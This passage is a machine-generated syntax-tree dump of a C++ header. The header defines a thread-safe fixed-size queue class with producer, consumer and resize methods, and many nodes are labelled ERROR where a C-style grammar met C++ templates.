empty\n Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Register(TaskGroup *vg) {\n Status rc1 = empty_cv_.Register(vg->GetIntrpService());\n Status rc2 = full_cv_.Register(vg->GetIntrpService());\n if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }\n }\n\n Status Resize(int32_t new_capacity) {\n std::unique_lock<std::mutex> _lock(mux_);\n CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n "New capacity: " + std::to_string(new_capacity) + ", should be larger than 0");\n RETURN_OK_IF_TRUE(new_capacity == capacity());\n std::vector<T> queue;\n // pop from the original queue until the new_capacity is full\n for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }\n // if there are extra elements in queue, put them to extra_arr_\n while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }\n this->ResetQue();\n RETURN_IF_NOT_OK(arr_.allocate(new_capacity));\n sz_ = new_capacity;\n for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }\n queue.clear();\n _lock.unlock();\n return Status::OK();\n }\n\n private:\n size_t sz_;\n MemGuard<T, Allocator<T>> arr_;\n std::vector<T> extra_arr_; // used to store extra elements after reducing capacity, will not be changed by Add,\n // will pop when there is a space in queue (by PopFront or Resize)\n size_t head_;\n size_t tail_;\n std::string my_name_;\n std::mutex mux_;\n CondVar empty_cv_;\n CondVar full_cv_;\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(const_reference ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = ele;\n return Status::OK();\n }\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(T &&ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = std::forward<T>(ele);\n return Status::OK();\n }\n\n // Helper function for PopFront, must be called when holding a lock\n Status PopFrontWhileHoldingLock(pointer p, bool clean_extra) {\n auto k = head_++ % sz_;\n *p = std::move(*(arr_[k]));\n if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }\n return Status::OK();\n }\n\n void ResetQue() noexcept {\n while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << "Address of val: " << &val;\n }\n empty_cv_.ResetIntrpState();\n full_cv_.ResetIntrpState();\n head_ = 0;\n tail_ = 0;\n }\n}" (type_identifier) "namespace" (identifier) "dataset" (compound_statement) "{\n// A simple thread safe queue using a fixed size array\ntemplate <typename T>\nclass Queue {\n public:\n using value_type = T;\n using pointer = T *;\n using const_pointer = const T *;\n using reference = T &;\n using const_reference = const T &;\n\n explicit Queue(int sz)\n : sz_(sz), arr_(Services::GetAllocator<T>()), head_(0), tail_(0), my_name_(Services::GetUniqueID()) {\n Status rc = arr_.allocate(sz);\n if (rc.IsError()) {\n MS_LOG(ERROR) << "Fail to create a queue.";\n std::terminate();\n } else {\n MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size " << sz_ << ".";\n }\n }\n\n virtual ~Queue() { ResetQue(); }\n\n size_t size() const {\n size_t v = tail_ - head_;\n return (v >= 0) ? v : 0;\n }\n\n size_t capacity() const { return sz_; }\n\n bool empty() const { return head_ == tail_; }\n\n void Reset() {\n std::unique_lock<std::mutex> _lock(mux_);\n ResetQue();\n extra_arr_.clear();\n }\n\n // Producer\n Status Add(const_reference ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Add(T &&ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n template <typename... Ts>\n Status EmplaceBack(Ts &&... args) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n auto k = tail_++ % sz_;\n new (arr_[k]) T(std::forward<Ts>(args)...);\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n // Consumer\n Status PopFront(pointer p) {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when empty\n Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Register(TaskGroup *vg) {\n Status rc1 = empty_cv_.Register(vg->GetIntrpService());\n Status rc2 = full_cv_.Register(vg->GetIntrpService());\n if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }\n }\n\n Status Resize(int32_t new_capacity) {\n std::unique_lock<std::mutex> _lock(mux_);\n CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n "New capacity: " + std::to_string(new_capacity) + ", should be larger than 0");\n RETURN_OK_IF_TRUE(new_capacity == capacity());\n std::vector<T> queue;\n // pop from the original queue until the new_capacity is full\n for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }\n // if there are extra elements in queue, put them to extra_arr_\n while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }\n this->ResetQue();\n RETURN_IF_NOT_OK(arr_.allocate(new_capacity));\n sz_ = new_capacity;\n for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }\n queue.clear();\n _lock.unlock();\n return Status::OK();\n }\n\n private:\n size_t sz_;\n MemGuard<T, Allocator<T>> arr_;\n std::vector<T> extra_arr_; // used to store extra elements after reducing capacity, will not be changed by Add,\n // will pop when there is a space in queue (by PopFront or Resize)\n size_t head_;\n size_t tail_;\n std::string my_name_;\n std::mutex mux_;\n CondVar empty_cv_;\n CondVar full_cv_;\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(const_reference ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = ele;\n return Status::OK();\n }\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(T &&ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = std::forward<T>(ele);\n return Status::OK();\n }\n\n // Helper function for PopFront, must be called when holding a lock\n Status PopFrontWhileHoldingLock(pointer p, bool clean_extra) {\n auto k = head_++ % sz_;\n *p = std::move(*(arr_[k]));\n if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }\n return Status::OK();\n }\n\n void ResetQue() noexcept {\n while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << "Address of val: " << &val;\n }\n empty_cv_.ResetIntrpState();\n full_cv_.ResetIntrpState();\n head_ = 0;\n tail_ = 0;\n }\n}" ({) "{" (comment) "// A simple thread safe queue using a fixed size array" (ERROR) "template <typename T>\nclass Queue" (binary_expression) "template <typename T>\nclass" (binary_expression) "template <typename" (identifier) "template" (<) "<" (identifier) "typename" (ERROR) "T" (identifier) "T" (>) ">" (identifier) "class" (identifier) "Queue" (compound_statement) "{\n public:\n using value_type = T;\n using pointer = T *;\n using const_pointer = const T *;\n using reference = T &;\n using const_reference = const T &;\n\n explicit Queue(int sz)\n : sz_(sz), arr_(Services::GetAllocator<T>()), head_(0), tail_(0), my_name_(Services::GetUniqueID()) {\n Status rc = arr_.allocate(sz);\n if (rc.IsError()) {\n MS_LOG(ERROR) << "Fail to create a queue.";\n std::terminate();\n } else {\n MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size " << sz_ << ".";\n }\n }" ({) "{" (labeled_statement) "public:\n using value_type = T;" (statement_identifier) "public" (:) ":" (declaration) "using value_type = T;" (type_identifier) "using" (init_declarator) "value_type = T" (identifier) "value_type" (=) "=" (identifier) "T" (;) ";" (declaration) "using pointer = T *;" (type_identifier) "using" (init_declarator) "pointer = T" (identifier) "pointer" (=) "=" (identifier) "T" (ERROR) "*" (*) "*" (;) ";" (declaration) "using const_pointer = const T *;" (type_identifier) "using" (init_declarator) "const_pointer = const" (identifier) "const_pointer" (=) "=" (identifier) "const" (ERROR) "T *" (identifier) "T" (*) "*" (;) ";" (declaration) "using reference = T &;" (type_identifier) "using" (init_declarator) "reference = T" (identifier) "reference" (=) "=" (identifier) "T" (ERROR) "&" (&) "&" (;) ";" (declaration) "using const_reference = const T &;" (type_identifier) "using" (init_declarator) "const_reference = const" (identifier) "const_reference" (=) "=" (identifier) "const" (ERROR) "T &" (identifier) "T" (&) "&" (;) ";" (declaration) "explicit Queue(int sz)\n : sz_(sz), arr_(Services::GetAllocator<T>()), head_(0), tail_(0), my_name_(Services::GetUniqueID()) {\n Status rc = arr_.allocate(sz);" (type_identifier) "explicit" (ERROR) "Queue(int sz)\n : sz_(sz)," (function_declarator) "Queue(int sz)\n : sz_(sz)" (identifier) "Queue" (parameter_list) "(int sz)" (() "(" (parameter_declaration) "int sz" (primitive_type) "int" (identifier) "sz" ()) ")" (ERROR) ":" (:) ":" (call_expression) "sz_(sz)" (identifier) "sz_" (argument_list) "(sz)" (() "(" (identifier) "sz" ()) ")" (,) "," (function_declarator) "arr_(Services::GetAllocator<T>()" (identifier) "arr_" (parameter_list) "(Services::GetAllocator<T>()" (() "(" (parameter_declaration) "Services::GetAllocator<T" (type_identifier) "Services" (ERROR) "::GetAllocator<" (:) ":" (:) ":" (identifier) "GetAllocator" (<) "<" (identifier) "T" (ERROR) ">(" (>) ">" (() "(" ()) ")" (ERROR) ")" ()) ")" (,) "," (function_declarator) "head_(0)" (identifier) "head_" (parameter_list) "(0)" (() "(" (ERROR) "0" (number_literal) "0" ()) ")" (,) "," (function_declarator) "tail_(0)" (identifier) "tail_" (parameter_list) "(0)" (() "(" (ERROR) "0" (number_literal) "0" ()) ")" (,) "," (ERROR) "my_name_(Services::GetUniqueID()) {\n Status" (function_declarator) "my_name_(Services::GetUniqueID())" (identifier) "my_name_" (parameter_list) "(Services::GetUniqueID())" (() "(" (parameter_declaration) "Services::GetUniqueID()" (type_identifier) "Services" (ERROR) "::" (:) ":" (:) ":" (function_declarator) "GetUniqueID()" (identifier) "GetUniqueID" (parameter_list) "()" (() "(" ()) ")" ()) ")" ({) "{" (identifier) "Status" (init_declarator) "rc = arr_.allocate(sz)" (identifier) "rc" (=) "=" (call_expression) "arr_.allocate(sz)" (field_expression) "arr_.allocate" (identifier) "arr_" (.) "." (field_identifier) "allocate" (argument_list) "(sz)" (() "(" (identifier) "sz" ()) ")" (;) ";" (if_statement) "if (rc.IsError()) {\n MS_LOG(ERROR) << "Fail to create a queue.";\n std::terminate();\n } else {\n MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size " << sz_ << ".";\n }" (if) "if" (parenthesized_expression) "(rc.IsError())" (() "(" (call_expression) "rc.IsError()" (field_expression) "rc.IsError" (identifier) "rc" (.) "." (field_identifier) "IsError" (argument_list) "()" (() "(" ()) ")" ()) ")" (compound_statement) "{\n MS_LOG(ERROR) << "Fail to create a queue.";\n std::terminate();\n }" ({) "{" (expression_statement) "MS_LOG(ERROR) << "Fail to create a queue.";" (binary_expression) "MS_LOG(ERROR) << "Fail to create a queue."" (call_expression) "MS_LOG(ERROR)" (identifier) "MS_LOG" (argument_list) "(ERROR)" (() "(" (identifier) "ERROR" ()) ")" (<<) "<<" (string_literal) ""Fail to create a queue."" (") """ (string_content) "Fail to create a queue." (") """ (;) ";" (labeled_statement) "std::terminate();" (statement_identifier) "std" (:) ":" (ERROR) ":" (:) ":" (expression_statement) "terminate();" (call_expression) "terminate()" (identifier) "terminate" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (else_clause) "else {\n MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size " << sz_ << ".";\n }" (else) "else" (compound_statement) "{\n MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size " << sz_ << ".";\n }" ({) "{" (expression_statement) "MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size " << sz_ << ".";" (binary_expression) "MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size " << sz_ << "."" (binary_expression) "MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size " << sz_" (binary_expression) "MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size "" (binary_expression) "MS_LOG(DEBUG) << "Create Q with uuid " << my_name_" (binary_expression) "MS_LOG(DEBUG) << "Create Q with uuid "" (call_expression) "MS_LOG(DEBUG)" (identifier) "MS_LOG" (argument_list) "(DEBUG)" (() "(" (identifier) "DEBUG" ()) ")" (<<) "<<" (string_literal) ""Create Q with uuid "" (") """ (string_content) "Create Q with uuid " (") """ (<<) "<<" (identifier) "my_name_" (<<) "<<" (string_literal) "" of size "" (") """ (string_content) " of size " (") """ (<<) "<<" (identifier) "sz_" (<<) "<<" (string_literal) ""."" (") """ (string_content) "." (") """ (;) ";" (}) "}" (}) "}" (function_definition) "virtual ~Queue() { ResetQue(); }" (type_identifier) "virtual" (ERROR) "~" (~) "~" (function_declarator) "Queue()" (identifier) "Queue" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ ResetQue(); }" ({) "{" (expression_statement) "ResetQue();" (call_expression) "ResetQue()" (identifier) "ResetQue" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (function_definition) "size_t size() const {\n size_t v = tail_ - head_;\n return (v >= 0) ? v : 0;\n }\n\n size_t capacity() const { return sz_; }" (primitive_type) "size_t" (function_declarator) "size()" (identifier) "size" (parameter_list) "()" (() "(" ()) ")" (declaration) "const {\n size_t v = tail_ - head_;" (type_qualifier) "const" (const) "const" (ERROR) "{" ({) "{" (primitive_type) "size_t" (init_declarator) "v = tail_ - head_" (identifier) "v" (=) "=" (binary_expression) "tail_ - head_" (identifier) "tail_" (-) "-" (identifier) "head_" (;) ";" (declaration) "return (v >= 0) ? v : 0;" (macro_type_specifier) "return (v >= 0)" (identifier) "return" (() "(" (type_descriptor) "v" (type_identifier) "v" (ERROR) ">= 0" (>=) ">=" (number_literal) "0" ()) ")" (ERROR) "?" (?) "?" (identifier) "v" (ERROR) ": 0" (:) ":" (number_literal) "0" (;) ";" (ERROR) "}\n\n size_t capacity() const" (}) "}" (primitive_type) "size_t" (function_declarator) "capacity() const" (identifier) "capacity" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (compound_statement) "{ return sz_; }" ({) "{" (return_statement) "return sz_;" (return) "return" (identifier) "sz_" (;) ";" (}) "}" (ERROR) "bool empty() const" (primitive_type) "bool" (function_declarator) "empty()" (identifier) "empty" (parameter_list) "()" (() "(" ()) ")" (type_qualifier) "const" (const) "const" (compound_statement) "{ return head_ == tail_; }" ({) "{" (return_statement) "return head_ == tail_;" (return) "return" (binary_expression) "head_ == tail_" (identifier) "head_" (==) "==" (identifier) "tail_" (;) ";" (}) "}" (function_definition) "void Reset() {\n std::unique_lock<std::mutex> _lock(mux_);\n ResetQue();\n extra_arr_.clear();\n }" (primitive_type) "void" (function_declarator) "Reset()" (identifier) "Reset" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n std::unique_lock<std::mutex> _lock(mux_);\n ResetQue();\n extra_arr_.clear();\n }" ({) "{" (labeled_statement) "std::unique_lock<std::mutex> _lock(mux_);" (statement_identifier) "std" (ERROR) "::unique_lock<std:" (:) ":" (:) ":" (binary_expression) "unique_lock<std" (identifier) "unique_lock" (<) "<" (identifier) "std" (:) ":" (:) ":" (expression_statement) "mutex> _lock(mux_);" (binary_expression) "mutex> _lock(mux_)" (identifier) "mutex" (>) ">" (call_expression) "_lock(mux_)" (identifier) "_lock" (argument_list) "(mux_)" (() "(" (identifier) "mux_" ()) ")" (;) ";" (expression_statement) "ResetQue();" (call_expression) "ResetQue()" (identifier) "ResetQue" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "extra_arr_.clear();" (call_expression) "extra_arr_.clear()" (field_expression) "extra_arr_.clear" (identifier) "extra_arr_" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (comment) "// Producer" (function_definition) "Status Add(const_reference ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }" (type_identifier) "Status" (function_declarator) "Add(const_reference ele) noexcept" (identifier) "Add" (parameter_list) "(const_reference ele)" (() "(" (parameter_declaration) "const_reference ele" (type_identifier) "const_reference" (identifier) "ele" ()) ")" (identifier) "noexcept" (compound_statement) "{\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }" ({) "{" (labeled_statement) "std::unique_lock<std::mutex> _lock(mux_);" (statement_identifier) "std" (ERROR) "::unique_lock<std:" (:) ":" (:) ":" (binary_expression) "unique_lock<std" (identifier) "unique_lock" (<) "<" (identifier) "std" (:) ":" (:) ":" (expression_statement) "mutex> _lock(mux_);" (binary_expression) "mutex> _lock(mux_)" (identifier) "mutex" (>) ">" (call_expression) "_lock(mux_)" (identifier) "_lock" (argument_list) "(mux_)" (() "(" (identifier) "mux_" ()) ")" (;) ";" (comment) "// Block when full" (declaration) "Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });" (type_identifier) "Status" (init_declarator) "rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); })" (identifier) "rc" (=) "=" (call_expression) "full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); })" (field_expression) "full_cv_.Wait" (identifier) "full_cv_" (.) "." (field_identifier) "Wait" (argument_list) "(&_lock, [this]() -> bool { return (size() != capacity()); })" (() "(" (ERROR) "&_lock, [this]() -> bool" (field_expression) "&_lock, [this]() -> bool" (call_expression) "&_lock, [this]()" (subscript_expression) "&_lock, [this]" (pointer_expression) "&_lock" (&) "&" (identifier) "_lock" (ERROR) "," (,) "," ([) "[" (identifier) "this" (]) "]" (argument_list) "()" (() "(" ()) ")" (->) "->" (field_identifier) "bool" (compound_statement) "{ return (size() != capacity()); }" ({) "{" (return_statement) "return (size() != capacity());" (return) "return" (parenthesized_expression) "(size() != capacity())" (() "(" (binary_expression) "size() != capacity()" (call_expression) "size()" (identifier) "size" (argument_list) "()" (() "(" ()) ")" (!=) "!=" (call_expression) "capacity()" (identifier) "capacity" (argument_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (}) "}" ()) ")" (;) ";" (if_statement) "if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }" (if) "if" (parenthesized_expression) "(rc.IsOk())" (() "(" (call_expression) "rc.IsOk()" (field_expression) "rc.IsOk" (identifier) "rc" (.) "." (field_identifier) "IsOk" (argument_list) "()" (() "(" ()) ")" ()) ")" (compound_statement) "{\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n }" ({) "{" (expression_statement) "RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));" (call_expression) "RETURN_IF_NOT_OK(AddWhileHoldingLock(ele))" (identifier) "RETURN_IF_NOT_OK" (argument_list) "(AddWhileHoldingLock(ele))" (() "(" (call_expression) "AddWhileHoldingLock(ele)" (identifier) "AddWhileHoldingLock" (argument_list) "(ele)" (() "(" (identifier) "ele" ()) ")" ()) ")" (;) ";" (expression_statement) "empty_cv_.NotifyAll();" (call_expression) "empty_cv_.NotifyAll()" (field_expression) "empty_cv_.NotifyAll" (identifier) "empty_cv_" (.) "." (field_identifier) "NotifyAll" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "_lock.unlock();" (call_expression) "_lock.unlock()" (field_expression) "_lock.unlock" (identifier) "_lock" (.) "." (field_identifier) "unlock" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (else_clause) "else {\n empty_cv_.Interrupt();\n }" (else) "else" (compound_statement) "{\n empty_cv_.Interrupt();\n }" ({) "{" (expression_statement) "empty_cv_.Interrupt();" (call_expression) "empty_cv_.Interrupt()" (field_expression) "empty_cv_.Interrupt" (identifier) "empty_cv_" (.) "." (field_identifier) "Interrupt" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (return_statement) "return rc;" (return) "return" (identifier) "rc" (;) ";" (}) "}" (function_definition) "Status Add(T &&ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }" (type_identifier) "Status" (function_declarator) "Add(T &&ele) noexcept" (identifier) "Add" (parameter_list) "(T &&ele)" (() "(" (parameter_declaration) "T &&ele" (type_identifier) "T" (ERROR) "&&" (&&) "&&" (identifier) "ele" ()) ")" (identifier) "noexcept" (compound_statement) "{\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }" ({) "{" (labeled_statement) "std::unique_lock<std::mutex> _lock(mux_);" (statement_identifier) "std" (ERROR) "::unique_lock<std:" (:) ":" (:) ":" (binary_expression) "unique_lock<std" (identifier) "unique_lock" (<) "<" (identifier) "std" (:) ":" (:) ":" (expression_statement) "mutex> _lock(mux_);" (binary_expression) "mutex> _lock(mux_)" (identifier) "mutex" (>) ">" (call_expression) "_lock(mux_)" (identifier) "_lock" (argument_list) "(mux_)" (() "(" (identifier) "mux_" ()) ")" (;) ";" (comment) "// Block when full" (declaration) "Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });" (type_identifier) "Status" (init_declarator) "rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); })" (identifier) "rc" (=) "=" (call_expression) "full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); })" (field_expression) "full_cv_.Wait" (identifier) "full_cv_" (.) "." (field_identifier) "Wait" (argument_list) "(&_lock, [this]() -> bool { return (size() != capacity()); })" (() "(" (ERROR) "&_lock, [this]() -> bool" (field_expression) "&_lock, [this]() -> bool" (call_expression) "&_lock, [this]()" (subscript_expression) "&_lock, [this]" (pointer_expression) "&_lock" (&) "&" (identifier) "_lock" (ERROR) "," (,) "," ([) "[" (identifier) "this" (]) "]" (argument_list) "()" (() "(" ()) ")" (->) "->" (field_identifier) "bool" (compound_statement) "{ return (size() != capacity()); }" ({) "{" (return_statement) "return (size() != capacity());" (return) "return" (parenthesized_expression) "(size() != capacity())" (() "(" (binary_expression) "size() != capacity()" (call_expression) "size()" (identifier) "size" (argument_list) "()" (() "(" ()) ")" (!=) "!=" (call_expression) "capacity()" (identifier) "capacity" (argument_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (}) "}" ()) ")" (;) ";" (if_statement) "if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }" (if) "if" (parenthesized_expression) "(rc.IsOk())" (() "(" (call_expression) "rc.IsOk()" (field_expression) "rc.IsOk" (identifier) "rc" (.) "." (field_identifier) "IsOk" (argument_list) "()" (() "(" ()) ")" ()) ")" (compound_statement) "{\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n }" ({) "{" (expression_statement) "RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));" (binary_expression) "RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)" (binary_expression) "RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T" (identifier) "RETURN_IF_NOT_OK" (ERROR) "(AddWhileHoldingLock(std::forward" (() "(" (identifier) "AddWhileHoldingLock" (() "(" (ERROR) "std::" (type_descriptor) "std" (type_identifier) "std" (:) ":" (:) ":" (identifier) "forward" (<) "<" (identifier) "T" (>) ">" (parenthesized_expression) "(ele)" (() "(" (identifier) "ele" ()) ")" (ERROR) "))" ()) ")" ()) ")" (;) ";" (expression_statement) "empty_cv_.NotifyAll();" (call_expression) "empty_cv_.NotifyAll()" (field_expression) "empty_cv_.NotifyAll" (identifier) "empty_cv_" (.) "." (field_identifier) "NotifyAll" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "_lock.unlock();" (call_expression) "_lock.unlock()" (field_expression) "_lock.unlock" (identifier) "_lock" (.) "." (field_identifier) "unlock" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (else_clause) "else {\n empty_cv_.Interrupt();\n }" (else) "else" (compound_statement) "{\n empty_cv_.Interrupt();\n }" ({) "{" (expression_statement) "empty_cv_.Interrupt();" (call_expression) "empty_cv_.Interrupt()" (field_expression) "empty_cv_.Interrupt" (identifier) "empty_cv_" (.) "." (field_identifier) "Interrupt" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (return_statement) "return rc;" (return) "return" (identifier) "rc" (;) ";" (}) "}" (ERROR) "template <typename... Ts>\n Status EmplaceBack(Ts &&... args) noexcept" (binary_expression) "template <typename... Ts>\n Status EmplaceBack(Ts &&... args)" (binary_expression) "template <typename" (identifier) "template" (<) "<" (identifier) "typename" (ERROR) "... Ts" (...) "..." (identifier) "Ts" (>) ">" (ERROR) "Status" (identifier) "Status" (call_expression) "EmplaceBack(Ts &&... args)" (identifier) "EmplaceBack" (argument_list) "(Ts &&... args)" (() "(" (binary_expression) "Ts &&... args" (identifier) "Ts" (&&) "&&" (ERROR) "..." (.) "." (.) "." (.) "." (identifier) "args" ()) ")" (identifier) "noexcept" (compound_statement) "{\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n auto k = tail_++ % sz_;\n new (arr_[k]) T(std::forward<Ts>(args)...);\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }" ({) "{" (labeled_statement) "std::unique_lock<std::mutex> _lock(mux_);" (statement_identifier) "std" (ERROR) "::unique_lock<std:" (:) ":" (:) ":" (binary_expression) "unique_lock<std" (identifier) "unique_lock" (<) "<" (identifier) "std" (:) ":" (:) ":" (expression_statement) "mutex> _lock(mux_);" (binary_expression) "mutex> _lock(mux_)" (identifier) "mutex" (>) ">" (call_expression) "_lock(mux_)" (identifier) "_lock" (argument_list) "(mux_)" (() "(" (identifier) "mux_" ()) ")" (;) ";" (comment) "// Block when full" (declaration) "Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });" (type_identifier) "Status" (init_declarator) "rc = full_cv_.Wait(&_lock, [this]() -> bool { return 